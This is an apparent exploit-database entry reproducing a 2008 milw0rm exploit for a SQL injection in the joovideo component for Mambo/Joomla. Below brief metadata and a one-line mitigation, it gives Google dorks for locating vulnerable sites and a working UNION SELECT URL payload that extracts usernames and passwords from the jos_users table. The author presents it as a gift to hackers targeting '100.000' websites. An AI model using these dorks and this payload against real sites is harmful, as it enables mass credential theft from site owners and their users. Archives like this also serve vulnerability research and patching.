Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)

vendor:

joovideo

by:

S@BUN

CVSS

HIGH

SQL Injection

CWE

Product Name: joovideo

Affected Version From: 1

Affected Version To: 1.2.2002

Patch Exists: NO

Related CWE: N/A

CPE: a:joomlapixel:joovideo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)

An attacker can exploit this vulnerability by crafting a malicious SQL query and sending it to the vulnerable application. This can allow the attacker to gain access to sensitive information such as usernames and passwords stored in the database.

Mitigation:

Developers should ensure that user-supplied input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

##########################################
#
# Mambo Component com_joovideo SQL Injection(Powered by joovideo V1.0)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_joovideo" detail
#
# DORK 2 : allinurl: "com_joovideo"
#
# DORK 3 : Powered by joovideo V1.0
#
###########################################
EXPLOIT :

index.php?option=com_joovideo&Itemid=S@BUN&task=detail&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
  <name>joovideo</name>
  <creationDate>18.04.2007</creationDate>
  <author>joomlapixel</author>
   <copyright>This component in released under the commercial License</copyright>
   <authorEmail>info@joomlapixel.eu</authorEmail>

  <authorUrl>www.joomlapixel.eu</authorUrl>
  <version>1.2.2</version>
  <description>joovideo! video manager semplificato per joomla!, versione commerciale</description>

# milw0rm.com [2008-03-19]